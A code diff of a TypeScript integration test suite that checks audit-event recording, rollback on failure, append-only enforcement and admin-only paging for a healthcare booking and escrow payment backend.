await prisma.auditEvent.findFirstOrThrow({ where: { entityId: res.body.id } }); - expect(event.requestId).toMatch(/^[0-9a-f-]{36}$/); - expect(res.headers['x-request-id']).toBe(event.requestId); - }); - - it('records exactly one event when concurrent bookings race β€” losers record nothing', async () => { - const slot = slots[2]!; - const responses = await Promise.all( - patients.map((p) => request(app).post('/appointments').set('Authorization', `Bearer ${p.token}`).send({ availabilitySlotId: slot })), - ); - expect(responses.filter((r) => r.status === 201)).toHaveLength(1); - expect(responses.filter((r) => r.status === 409)).toHaveLength(patients.length - 1); - const appointment = await prisma.appointment.findUniqueOrThrow({ where: { availabilitySlotId: slot } }); - expect(await prisma.auditEvent.count({ where: { action: 'appointment.booked', metadata: { path: ['availabilitySlotId'], equals: slot } } })).toBe(1); - expect(await prisma.auditEvent.count({ where: { entityId: appointment.id } })).toBe(1); - }); - - it('rolls the booking back when its audit write fails β€” no orphan event, no orphan booking', async () => { - const slot = slots[3]!; - const restore = await failAuditInsertsFor('Appointment'); - try { - const res = await request(app).post('/appointments').set('Authorization', `Bearer ${patients[1]!.token}`).send({ availabilitySlotId: slot }); - expect(res.status).toBe(500); - } finally { - await restore(); - } - expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); - expect(await prisma.appointment.count({ where: { availabilitySlotId: slot } })).toBe(0); - // And with the failure removed, the same slot books normally. - const retry = await request(app).post('/appointments').set('Authorization', `Bearer ${patients[1]!.token}`).send({ availabilitySlotId: slot }); - expect(retry.status).toBe(201); - expect(await prisma.auditEvent.count({ where: { entityId: retry.body.id } })).toBe(1); - }); - }); - - describe('doctor verification', () => { - const patch = (status: string, requestIdHeader?: string) => { - const req = request(app).patch(`/doctors/${doctor.profileId}/verification`).set(adminAuth()); - if (requestIdHeader) req.set('X-Request-Id', requestIdHeader); - return req.send({ status }); - }; - - it('records who changed it and the real previous and new states', async () => { - expect((await patch('verified', `verify-req-${runId}`)).status).toBe(200); - expect((await patch('rejected')).status).toBe(200); - const events = await prisma.auditEvent.findMany({ - where: { entityType: 'DoctorProfile', entityId: doctor.profileId }, - orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], - }); - expect(events.map((e) => [e.fromState, e.toState])).toEqual([ - ['pending', 'verified'], - ['verified', 'rejected'], - ]); - expect(events[0]).toMatchObject({ - actorUserId: admin.id, - actorRole: 'admin', - action: 'doctor.verification_status_changed', - requestId: `verify-req-${runId}`, - metadata: null, - }); - }); - - it('records nothing when the status is unchanged', async () => { - const before = await prisma.auditEvent.count({ where: { entityId: doctor.profileId } }); - expect((await patch('rejected')).status).toBe(200); - expect(await prisma.auditEvent.count({ where: { entityId: doctor.profileId } })).toBe(before); - }); - - it('rolls the status change back when its audit write fails', async () => { - const restore = await failAuditInsertsFor('DoctorProfile'); - try { - expect((await patch('verified')).status).toBe(500); - } finally { - await restore(); - } - expect((await prisma.doctorProfile.findUniqueOrThrow({ where: { id: doctor.profileId } })).verificationStatus).toBe('rejected'); - }); - }); - - describe('payment fund / release / refund', () => { - const post = (intentId: string, action: 'fund' | 'release' | 'refund') => - request(app).post(`/payments/intents/${intentId}/${action}`).set(adminAuth()).set('X-Request-Id', `pay-${action}-${runId}`); - - it('records created -> escrowed -> released with on-chain references and no secrets', async () => { - const intent = await createIntent(); - expect((await post(intent.id, 'fund')).status).toBe(200); - expect((await post(intent.id, 'release')).status).toBe(200); - const events = await prisma.auditEvent.findMany({ where: { entityId: intent.id }, orderBy: [{ createdAt: 'asc' }, { id: 'asc' }] }); - expect(events.map((e) => [e.action, e.fromState, e.toState])).toEqual([ - ['payment_intent.funded', 'created', 'escrowed'], - ['payment_intent.released', 'escrowed', 'released'], - ]); - expect(events[0]).toMatchObject({ - actorUserId: admin.id, - actorRole: 'admin', - requestId: `pay-fund-${runId}`, - metadata: { orderType: 'lab_order', orderId: intent.labOrderId, amount: '5000', assetCode: 'XLM', stellarTxHash: TX_HASH, sorobanContractId: 'CTESTCONTRACT' }, - }); - expect((events[0]!.metadata as Record).escrowId).toMatch(/^\d+$/); - const serialized = JSON.stringify(events); - for (const secret of [PAYER_SECRET, RELEASER_SECRET, 'GPLATFORMRELEASERPUBLICKEY']) expect(serialized).not.toContain(secret); - }); - - it('uses the payment intent recorded legacy contract for release', async () => { - const intent = await createIntent(); - await post(intent.id, 'fund'); - await prisma.paymentIntent.update({ where: { id: intent.id }, data: { sorobanContractId: 'CLEGACYCONTRACT' } }); - expect((await post(intent.id, 'release')).status).toBe(200); - expect(escrowClientContractIds.slice(-2)).toEqual(['CTESTCONTRACT', 'CLEGACYCONTRACT']); - }); - - it('records escrowed -> refunded', async () => { - const intent = await createIntent(); - await post(intent.id, 'fund'); - expect((await post(intent.id, 'refund')).status).toBe(200); - const refund = await prisma.auditEvent.findFirstOrThrow({ where: { entityId: intent.id, action: 'payment_intent.refunded' } }); - expect([refund.fromState, refund.toState]).toEqual(['escrowed', 'refunded']); - }); - - it('records nothing when the operation fails β€” no invented transition', async () => { - const intent = await createIntent(); - await post(intent.id, 'fund'); - sdkBehaviour.failRelease = true; - try { - expect((await post(intent.id, 'release')).status).toBe(500); - } finally { - sdkBehaviour.failRelease = false; - } - expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('escrowed'); - expect(await prisma.auditEvent.count({ where: { entityId: intent.id, action: 'payment_intent.released' } })).toBe(0); - // An invalid transition is refused before anything happens, too. - expect((await post(intent.id, 'fund')).status).toBe(409); - expect(await prisma.auditEvent.count({ where: { entityId: intent.id } })).toBe(1); - }); - - it('records one release when two race for the same intent', async () => { - const intent = await createIntent(); - await post(intent.id, 'fund'); - const [a, b] = await Promise.all([post(intent.id, 'release'), post(intent.id, 'refund')]); - expect([a.status, b.status].sort()).toEqual([200, 409]); - const finalStatus = (await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status; - const terminal = await prisma.auditEvent.findMany({ where: { entityId: intent.id, action: { in: ['payment_intent.released', 'payment_intent.refunded'] } } }); - expect(terminal).toHaveLength(1); - expect(terminal[0]!.toState).toBe(finalStatus); - }); - - it('rolls the status change back when its audit write fails', async () => { - const intent = await createIntent(); - const restore = await failAuditInsertsFor('PaymentIntent'); - try { - expect((await post(intent.id, 'fund')).status).toBe(500); - } finally { - await restore(); - } - expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); - expect(await prisma.auditEvent.count({ where: { entityId: intent.id } })).toBe(0); - }); - }); - - describe('append-only', () => { - it('has no update path, and no delete beyond access-log retention', async () => { - const repo = await import('../../src/modules/audit/repositories/index.js'); - // AuditEvent: INSERT + SELECT only (the DB triggers below enforce the - // rest). AccessLog (issue #45) is a different table with its own - // retention: `pruneAccessLogs` is the one deliberate delete, bounded - // to rows older than the retention window β€” never an arbitrary one. - expect(Object.keys(repo).sort()).toEqual([ - 'findAccessByEntity', - 'findAccessByUser', - 'findAccessForPatient', - 'findAuditEvents', - 'insertAuditEvent', - 'pruneAccessLogs', - 'recordAccess', - ]); - }); - - it('rejects UPDATE, DELETE and TRUNCATE at the database level', async () => { - const event = await prisma.auditEvent.findFirstOrThrow(); - const count = await prisma.auditEvent.count(); - await expect(prisma.auditEvent.update({ where: { id: event.id }, data: { action: 'tampered.action' } })).rejects.toThrow(/append-only/); - await expect(prisma.auditEvent.updateMany({ data: { toState: 'x' } })).rejects.toThrow(/append-only/); - await expect(prisma.auditEvent.delete({ where: { id: event.id } })).rejects.toThrow(/append-only/); - await expect(prisma.auditEvent.deleteMany()).rejects.toThrow(/append-only/); - await expect(prisma.$executeRawUnsafe('TRUNCATE "AuditEvent"')).rejects.toThrow(/append-only/); - expect(await prisma.auditEvent.count()).toBe(count); - expect(await prisma.auditEvent.findUniqueOrThrow({ where: { id: event.id } })).toEqual(event); - }); - - it('refuses to record outside a transaction', async () => { - await expect( - audit.record(prisma as never, audit.SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'x', action: 'appointment.booked', fromState: null, toState: 'scheduled' }), - ).rejects.toThrow(/inside the transaction/); - }); - }); - - describe('GET /admin/audit-events', () => { - it('is admin-only', async () => { - expect((await request(app).get('/admin/audit-events')).status).toBe(401); - expect((await request(app).get('/admin/audit-events').set('Authorization', `Bearer ${patients[0]!.token}`)).status).toBe(403); - expect((await request(app).get('/admin/audit-events').set('Authorization', `Bearer ${doctor.token}`)).status).toBe(403); - expect((await request(app).get('/admin/audit-events').set(adminAuth())).status).toBe(200); - }); - - it('filters by entity, actor and date range', async () => { - const appointments = await listEvents({ entityType: 'Appointment', limit: 200 }); - expect(appointments.status).toBe(200); - expect(appointments.body.items.length).toBeGreaterThan(0); - expect(appointments.body.items.every((e: { entityType: string }) => e.entityType === 'Appointment')).toBe(true); - - const one = await listEvents({ entityType: 'DoctorProfile', entityId: doctor.profileId }); - expect(one.body.items.map((e: { toState: string }) => e.toState)).toEqual(['rejected', 'verified']); - - const byAdmin = await listEvents({ actorUserId: admin.id, limit: 200 }); - expect(byAdmin.body.items.length).toBeGreaterThan(0); - expect(byAdmin.body.items.every((e: { actorUserId: string }) => e.actorUserId === admin.id)).toBe(true); - const byPatient = await listEvents({ actorUserId: patients[0]!.userId }); - expect(byPatient.body.items.every((e: { actorUserId: string }) => e.actorUserId === patients[0]!.userId)).toBe(true); - - const all = (await listEvents({ limit: 200 })).body.items as { createdAt: string }[]; - const pivot = all[Math.floor(all.length / 2)]!.createdAt; - const after = (await listEvents({ from: pivot, limit: 200 })).body.items as { createdAt: string }[]; - const before = (await listEvents({ to: pivot, limit: 200 })).body.items as { createdAt: string }[]; - expect(after.every((e) => e.createdAt >= pivot)).toBe(true); - expect(before.every((e) => e.createdAt <= pivot)).toBe(true); - expect(new Set([...after, ...before].map((e) => JSON.stringify(e))).size).toBe(all.length); - expect((await listEvents({ from: '2999-01-01' })).body).toEqual({ items: [], nextCursor: null }); - }); - - it('validates the query', async () => { - const invalid: Record[] = [ - { limit: 0 }, - { limit: 500 }, - { from: 'not-a-date' }, - { unknown: 'x' }, - { entityId: 'a' }, - { cursor: 'garbage' }, - { from: '2026-10-17', to: '2026-10-01' }, - ]; - for (const query of invalid) { - const res = await listEvents(query); - expect(res.status, JSON.stringify(query)).toBe(400); - } - }); - - it('pages with a stable cursor: every event once, in a total order, even with identical timestamps', async () => { - // 23 events with one identical createdAt (Prisma stamps createdAt per - // row on the client, so real same-millisecond writes collide like - // this) β€” the cursor must tie-break on id. Inserted directly: INSERT - // is the one operation the append-only trigger allows. - const entityId = `bulk-${runId}`; - const sameInstant = new Date('2026-01-01T00:00:00.000Z'); - await prisma.auditEvent.createMany({ - data: Array.from({ length: 23 }, (_, i) => ({ - entityType: 'PaymentIntent', - entityId, - action: 'payment_intent.funded', - fromState: 'created', - toState: 'escrowed', - metadata: { seq: i }, - createdAt: sameInstant, - })), - }); - const rows = await prisma.auditEvent.findMany({ where: { entityId } }); - expect(new Set(rows.map((r) => r.createdAt.getTime())).size).toBe(1); - - const collect = async () => { - const seen: { id: string; createdAt: string }[] = []; - let cursor: string | null = null; - let pages = 0; - do { - const res = await listEvents({ entityType: 'PaymentIntent', entityId, limit: 5, ...(cursor ? { cursor } : {}) }); - expect(res.status).toBe(200); - expect(res.body.items.length).toBeLessThanOrEqual(5); - seen.push(...res.body.items); - cursor = res.body.nextCursor; - pages += 1; - // A newer event arriving mid-scan must not disturb the remaining pages. - if (pages === 2) { - await prisma.$transaction((tx) => audit.record(tx, audit.SYSTEM_ACTOR, { entityType: 'PaymentIntent', entityId, action: 'payment_intent.released', fromState: 'escrowed', toState: 'released' })); - } - } while (cursor); - return { seen, pages }; - }; - - const { seen, pages } = await collect(); - expect(pages).toBe(5); - expect(seen).toHaveLength(23); - expect(new Set(seen.map((e) => e.id)).size).toBe(23); - const expected = rows.map((r) => r.id).sort().reverse(); - expect(seen.map((e) => e.id)).toEqual(expected); - - // Deterministic: a second full scan sees the same 23 (plus the newer one, first). - const again = await collect(); - expect(again.seen.slice(1).map((e) => e.id)).toEqual(expected); - expect(again.seen[0]!.id).not.toBe(expected[0]); - }); - }); - - it('keeps the existing booking guarantee: every booked slot has exactly one appointment', async () => { - const booked = await prisma.availabilitySlot.findMany({ where: { doctorProfileId: doctor.profileId, status: 'booked' } }); - for (const slot of booked) expect(await prisma.appointment.count({ where: { availabilitySlotId: slot.id } })).toBe(1); - }); -}); +// Integration tests for the AuditEvent foundation (Phase 8, issue #43), +// against the real transitions β€” not the audit service in isolation: +// booking, doctor verification and payment fund/release/refund each emit an +// event with the right actor/entity/action/states/request id; the event +// commits with its change and rolls back with it (failure injected by a real +// database trigger, not a mock); a transition that fails or loses a race +// emits nothing; metadata carries no PHI or secrets; the table is +// append-only at the database level; and GET /admin/audit-events filters +// and pages deterministically. Self-contained, same embedded-Postgres +// pattern as booking.test.mts. Own port (5441). The escrow SDK is faked β€” +// on-chain behaviour is the testnet suite's job. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import jwt from 'jsonwebtoken'; +import EmbeddedPostgres from 'embedded-postgres'; +import { createOrderFixture, createPaymentIntentForFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5441; +const runId = Date.now(); +const PAYER_SECRET = `SAUDITPAYERSENTINEL${runId}`; +const RELEASER_SECRET = `SAUDITRELEASERSENTINEL${runId}`; +const TX_HASH = 'c'.repeat(64); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-audit-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +const emailedTokens = new Map(); +const sdkBehaviour = { failRelease: false, nextEscrowId: 77n }; +let escrowClientContractIds: string[] = []; + +describe('AuditEvent foundation', () => { + let app: App; + let prisma: Prisma; + let audit: typeof import('../../src/modules/audit/services/index.js'); + let admin: { id: string; token: string }; + let doctor: { userId: string; profileId: string; token: string }; + let patients: { userId: string; token: string; email: string }[]; + let facilityId: string; + let slots: string[]; + + async function signup(role: 'patient' | 'doctor', label: string) { + const email = `${label}-${runId}@example.com`; + const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); + expect(res.status).toBe(200); + expect((await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) })).status).toBe(200); + return { userId: res.body.user.id as string, token: res.body.accessToken as string, email }; + } + + /** A real DB-level failure in the audit insert, scoped to one entity type: + * proves the state change rolls back with its event. */ + async function failAuditInsertsFor(entityType: string) { + await prisma.$executeRawUnsafe(` + CREATE OR REPLACE FUNCTION test_fail_audit_insert() RETURNS trigger LANGUAGE plpgsql AS $$ + BEGIN + IF NEW."entityType" = '${entityType}' THEN RAISE EXCEPTION 'injected audit failure'; END IF; + RETURN NEW; + END; $$`); + await prisma.$executeRawUnsafe( + `CREATE TRIGGER test_fail_audit_insert BEFORE INSERT ON "AuditEvent" FOR EACH ROW EXECUTE FUNCTION test_fail_audit_insert()`, + ); + return async () => { + await prisma.$executeRawUnsafe(`DROP TRIGGER test_fail_audit_insert ON "AuditEvent"`); + }; + } + + const adminAuth = () => ({ Authorization: `Bearer ${admin.token}` }); + const listEvents = (query: Record) => + request(app).get('/admin/audit-events').query(query).set(adminAuth()); + + async function createIntent() { + const patientProfileId = (await prisma.patientProfile.findFirstOrThrow()).id; + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 5000n, tag: `audit-${Math.random()}` }); + return createPaymentIntentForFixture(prisma, order); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + process.env.PLATFORM_PAYER_SECRET = PAYER_SECRET; + process.env.PLATFORM_RELEASER_SECRET = RELEASER_SECRET; + process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; + process.env.ESCROW_LEGACY_CONTRACT_IDS = 'CLEGACYCONTRACT'; + process.env.ESCROW_TOKEN_ID = 'CTESTTOKEN'; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const authServices = await import('../../src/modules/auth/services/index.js'); + const paymentsServices = await import('../../src/modules/payments/services/index.js'); + audit = await import('../../src/modules/audit/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); + + escrowClientContractIds = []; + class FakeEscrowClient { + constructor(options: { contractId: string }) { escrowClientContractIds.push(options.contractId); } + async createEscrow() { + const escrowId = sdkBehaviour.nextEscrowId; + sdkBehaviour.nextEscrowId += 1n; + return { escrowId, txHash: TX_HASH }; + } + async release() { + if (sdkBehaviour.failRelease) throw new Error('simulated on-chain failure'); + } + async refund() {} + } + paymentsServices.setEscrowSdkForTests({ + Keypair: { fromSecret: () => ({ publicKey: () => 'GPLATFORMRELEASERPUBLICKEY' }) }, + EscrowClient: FakeEscrowClient, + } as unknown as import('../../src/modules/payments/services/index.js').EscrowSdkModule); + + const adminUser = await prisma.user.create({ + data: { email: `admin-${runId}@example.com`, passwordHash: 'x', role: 'admin', emailVerifiedAt: new Date() }, + }); + admin = { id: adminUser.id, token: jwt.sign({ sub: adminUser.id, role: 'admin' }, 'test-access-secret', { expiresIn: '15m' }) }; + + const doctorUser = await signup('doctor', 'audit-doctor'); + doctor = { ...doctorUser, profileId: (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctorUser.userId } })).id }; + patients = await Promise.all(Array.from({ length: 5 }, (_, i) => signup('patient', `audit-patient-${i}`))); + + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + await request(app) + .post(`/availability/doctors/${doctor.profileId}/slots/generate`) + .set('Authorization', `Bearer ${doctor.token}`) + .send({ date: tomorrow, startHour: 9, endHour: 12, slotLengthMinutes: 30 }); + slots = ((await request(app).get(`/availability/doctors/${doctor.profileId}/slots`)).body as { id: string }[]).map((s) => s.id); + + const facilityUser = await prisma.user.create({ data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' } }); + facilityId = (await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Audit Lab', type: 'lab' } })).id; + await prisma.walletLink.create({ data: { facilityId, stellarPublicKey: `G${'A'.repeat(55)}` } }); + }, 180_000); + + afterAll(async () => { + const authServices = await import('../../src/modules/auth/services/index.js'); + const paymentsServices = await import('../../src/modules/payments/services/index.js'); + authServices.resetEmailSender(); + paymentsServices.setEscrowSdkForTests(undefined); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + describe('appointment booking', () => { + it('emits one event with actor, entity, states and the request id', async () => { + const before = new Date(); + const res = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patients[0]!.token}`) + .set('X-Request-Id', `booking-req-${runId}`) + .send({ availabilitySlotId: slots[0] }); + expect(res.status).toBe(201); + expect(res.headers['x-request-id']).toBe(`booking-req-${runId}`); + + const events = await prisma.auditEvent.findMany({ where: { entityType: 'Appointment', entityId: res.body.id } }); + expect(events).toHaveLength(1); + const [event] = events; + expect(event).toMatchObject({ + actorUserId: patients[0]!.userId, + actorRole: 'patient', + action: 'appointment.booked', + fromState: null, + toState: 'scheduled', + requestId: `booking-req-${runId}`, + metadata: { availabilitySlotId: slots[0], doctorProfileId: doctor.profileId, origin: 'direct_booking' }, + }); + // The DB timestamp comes from the transaction; allow for clock skew + // between the test process and Postgres of a few seconds. + expect(Math.abs(event!.createdAt.getTime() - before.getTime())).toBeLessThan(5_000); + const serialized = JSON.stringify(event); + expect(serialized).not.toContain(patients[0]!.email); + expect(serialized).not.toContain('Fullname'); + }); + + it('mints a request id when none (or a malformed one) is sent', async () => { + const res = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patients[1]!.token}`) + .set('X-Request-Id', 'bad id!') + .send({ availabilitySlotId: slots[1] }); + expect(res.status).toBe(201); + const event = await prisma.auditEvent.findFirstOrThrow({ where: { entityId: res.body.id } }); + expect(event.requestId).toMatch(/^[0-9a-f-]{36}$/); + expect(res.headers['x-request-id']).toBe(event.requestId); + }); + + it('records exactly one event when concurrent bookings race β€” losers record nothing', async () => { + const slot = slots[2]!; + const responses = await Promise.all( + patients.map((p) => request(app).post('/appointments').set('Authorization', `Bearer ${p.token}`).send({ availabilitySlotId: slot })), + ); + expect(responses.filter((r) => r.status === 201)).toHaveLength(1); + expect(responses.filter((r) => r.status === 409)).toHaveLength(patients.length - 1); + const appointment = await prisma.appointment.findUniqueOrThrow({ where: { availabilitySlotId: slot } }); + expect(await prisma.auditEvent.count({ where: { action: 'appointment.booked', metadata: { path: ['availabilitySlotId'], equals: slot } } })).toBe(1); + expect(await prisma.auditEvent.count({ where: { entityId: appointment.id } })).toBe(1); + }); + + it('rolls the booking back when its audit write fails β€” no orphan event, no orphan booking', async () => { + const slot = slots[3]!; + const restore = await failAuditInsertsFor('Appointment'); + try { + const res = await request(app).post('/appointments').set('Authorization', `Bearer ${patients[1]!.token}`).send({ availabilitySlotId: slot }); + expect(res.status).toBe(500); + } finally { + await restore(); + } + expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); + expect(await prisma.appointment.count({ where: { availabilitySlotId: slot } })).toBe(0); + // And with the failure removed, the same slot books normally. + const retry = await request(app).post('/appointments').set('Authorization', `Bearer ${patients[1]!.token}`).send({ availabilitySlotId: slot }); + expect(retry.status).toBe(201); + expect(await prisma.auditEvent.count({ where: { entityId: retry.body.id } })).toBe(1); + }); + }); + + describe('doctor verification', () => { + const patch = (status: string, requestIdHeader?: string) => { + const req = request(app).patch(`/doctors/${doctor.profileId}/verification`).set(adminAuth()); + if (requestIdHeader) req.set('X-Request-Id', requestIdHeader); + return req.send({ status }); + }; + + it('records who changed it and the real previous and new states', async () => { + expect((await patch('verified', `verify-req-${runId}`)).status).toBe(200); + expect((await patch('rejected')).status).toBe(200); + const events = await prisma.auditEvent.findMany({ + where: { entityType: 'DoctorProfile', entityId: doctor.profileId }, + orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], + }); + expect(events.map((e) => [e.fromState, e.toState])).toEqual([ + ['pending', 'verified'], + ['verified', 'rejected'], + ]); + expect(events[0]).toMatchObject({ + actorUserId: admin.id, + actorRole: 'admin', + action: 'doctor.verification_status_changed', + requestId: `verify-req-${runId}`, + metadata: null, + }); + }); + + it('records nothing when the status is unchanged', async () => { + const before = await prisma.auditEvent.count({ where: { entityId: doctor.profileId } }); + expect((await patch('rejected')).status).toBe(200); + expect(await prisma.auditEvent.count({ where: { entityId: doctor.profileId } })).toBe(before); + }); + + it('rolls the status change back when its audit write fails', async () => { + const restore = await failAuditInsertsFor('DoctorProfile'); + try { + expect((await patch('verified')).status).toBe(500); + } finally { + await restore(); + } + expect((await prisma.doctorProfile.findUniqueOrThrow({ where: { id: doctor.profileId } })).verificationStatus).toBe('rejected'); + }); + }); + + describe('payment fund / release / refund', () => { + const post = (intentId: string, action: 'fund' | 'release' | 'refund') => + request(app).post(`/payments/intents/${intentId}/${action}`).set(adminAuth()).set('X-Request-Id', `pay-${action}-${runId}`); + + it('records created -> escrowed -> released with on-chain references and no secrets', async () => { + const intent = await createIntent(); + expect((await post(intent.id, 'fund')).status).toBe(200); + expect((await post(intent.id, 'release')).status).toBe(200); + const events = await prisma.auditEvent.findMany({ where: { entityId: intent.id }, orderBy: [{ createdAt: 'asc' }, { id: 'asc' }] }); + expect(events.map((e) => [e.action, e.fromState, e.toState])).toEqual([ + ['payment_intent.funded', 'created', 'escrowed'], + ['payment_intent.released', 'escrowed', 'released'], + ]); + expect(events[0]).toMatchObject({ + actorUserId: admin.id, + actorRole: 'admin', + requestId: `pay-fund-${runId}`, + metadata: { orderType: 'lab_order', orderId: intent.labOrderId, amount: '5000', assetCode: 'XLM', stellarTxHash: TX_HASH, sorobanContractId: 'CTESTCONTRACT' }, + }); + expect((events[0]!.metadata as Record).escrowId).toMatch(/^\d+$/); + const serialized = JSON.stringify(events); + for (const secret of [PAYER_SECRET, RELEASER_SECRET, 'GPLATFORMRELEASERPUBLICKEY']) expect(serialized).not.toContain(secret); + }); + + it('uses the payment intent recorded legacy contract for release', async () => { + const intent = await createIntent(); + await post(intent.id, 'fund'); + await prisma.paymentIntent.update({ where: { id: intent.id }, data: { sorobanContractId: 'CLEGACYCONTRACT' } }); + expect((await post(intent.id, 'release')).status).toBe(200); + expect(escrowClientContractIds.slice(-2)).toEqual(['CTESTCONTRACT', 'CLEGACYCONTRACT']); + }); + + it('records escrowed -> refunded', async () => { + const intent = await createIntent(); + await post(intent.id, 'fund'); + expect((await post(intent.id, 'refund')).status).toBe(200); + const refund = await prisma.auditEvent.findFirstOrThrow({ where: { entityId: intent.id, action: 'payment_intent.refunded' } }); + expect([refund.fromState, refund.toState]).toEqual(['escrowed', 'refunded']); + }); + + it('records nothing when the operation fails β€” no invented transition', async () => { + const intent = await createIntent(); + await post(intent.id, 'fund'); + sdkBehaviour.failRelease = true; + try { + expect((await post(intent.id, 'release')).status).toBe(500); + } finally { + sdkBehaviour.failRelease = false; + } + expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('escrowed'); + expect(await prisma.auditEvent.count({ where: { entityId: intent.id, action: 'payment_intent.released' } })).toBe(0); + // An invalid transition is refused before anything happens, too. + expect((await post(intent.id, 'fund')).status).toBe(409); + expect(await prisma.auditEvent.count({ where: { entityId: intent.id } })).toBe(1); + }); + + it('records one release when two race for the same intent', async () => { + const intent = await createIntent(); + await post(intent.id, 'fund'); + const [a, b] = await Promise.all([post(intent.id, 'release'), post(intent.id, 'refund')]); + expect([a.status, b.status].sort()).toEqual([200, 409]); + const finalStatus = (await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status; + const terminal = await prisma.auditEvent.findMany({ where: { entityId: intent.id, action: { in: ['payment_intent.released', 'payment_intent.refunded'] } } }); + expect(terminal).toHaveLength(1); + expect(terminal[0]!.toState).toBe(finalStatus); + }); + + it('rolls the status change back when its audit write fails', async () => { + const intent = await createIntent(); + const restore = await failAuditInsertsFor('PaymentIntent'); + try { + expect((await post(intent.id, 'fund')).status).toBe(500); + } finally { + await restore(); + } + expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); + expect(await prisma.auditEvent.count({ where: { entityId: intent.id } })).toBe(0); + }); + }); + + describe('append-only', () => { + it('has no update path, and no delete beyond access-log retention', async () => { + const repo = await import('../../src/modules/audit/repositories/index.js'); + // AuditEvent: INSERT + SELECT only (the DB triggers below enforce the + // rest). AccessLog (issue #45) is a different table with its own + // retention: `pruneAccessLogs` is the one deliberate delete, bounded + // to rows older than the retention window β€” never an arbitrary one. + expect(Object.keys(repo).sort()).toEqual([ + 'findAccessByEntity', + 'findAccessByUser', + 'findAccessForPatient', + 'findAuditEvents', + 'insertAuditEvent', + 'pruneAccessLogs', + 'recordAccess', + ]); + }); + + it('rejects UPDATE, DELETE and TRUNCATE at the database level', async () => { + const event = await prisma.auditEvent.findFirstOrThrow(); + const count = await prisma.auditEvent.count(); + await expect(prisma.auditEvent.update({ where: { id: event.id }, data: { action: 'tampered.action' } })).rejects.toThrow(/append-only/); + await expect(prisma.auditEvent.updateMany({ data: { toState: 'x' } })).rejects.toThrow(/append-only/); + await expect(prisma.auditEvent.delete({ where: { id: event.id } })).rejects.toThrow(/append-only/); + await expect(prisma.auditEvent.deleteMany()).rejects.toThrow(/append-only/); + await expect(prisma.$executeRawUnsafe('TRUNCATE "AuditEvent"')).rejects.toThrow(/append-only/); + expect(await prisma.auditEvent.count()).toBe(count); + expect(await prisma.auditEvent.findUniqueOrThrow({ where: { id: event.id } })).toEqual(event); + }); + + it('refuses to record outside a transaction', async () => { + await expect( + audit.record(prisma as never, audit.SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'x', action: 'appointment.booked', fromState: null, toState: 'scheduled' }), + ).rejects.toThrow(/inside the transaction/); + }); + }); + + describe('GET /admin/audit-events', () => { + it('is admin-only', async () => { + expect((await request(app).get('/admin/audit-events')).status).toBe(401); + expect((await request(app).get('/admin/audit-events').set('Authorization', `Bearer ${patients[0]!.token}`)).status).toBe(403); + expect((await request(app).get('/admin/audit-events').set('Authorization', `Bearer ${doctor.token}`)).status).toBe(403); + expect((await request(app).get('/admin/audit-events').set(adminAuth())).status).toBe(200); + }); + + it('filters by entity, actor and date range', async () => { + const appointments = await listEvents({ entityType: 'Appointment', limit: 200 }); + expect(appointments.status).toBe(200); + expect(appointments.body.items.length).toBeGreaterThan(0); + expect(appointments.body.items.every((e: { entityType: string }) => e.entityType === 'Appointment')).toBe(true); + + const one = await listEvents({ entityType: 'DoctorProfile', entityId: doctor.profileId }); + expect(one.body.items.map((e: { toState: string }) => e.toState)).toEqual(['rejected', 'verified']); + + const byAdmin = await listEvents({ actorUserId: admin.id, limit: 200 }); + expect(byAdmin.body.items.length).toBeGreaterThan(0); + expect(byAdmin.body.items.every((e: { actorUserId: string }) => 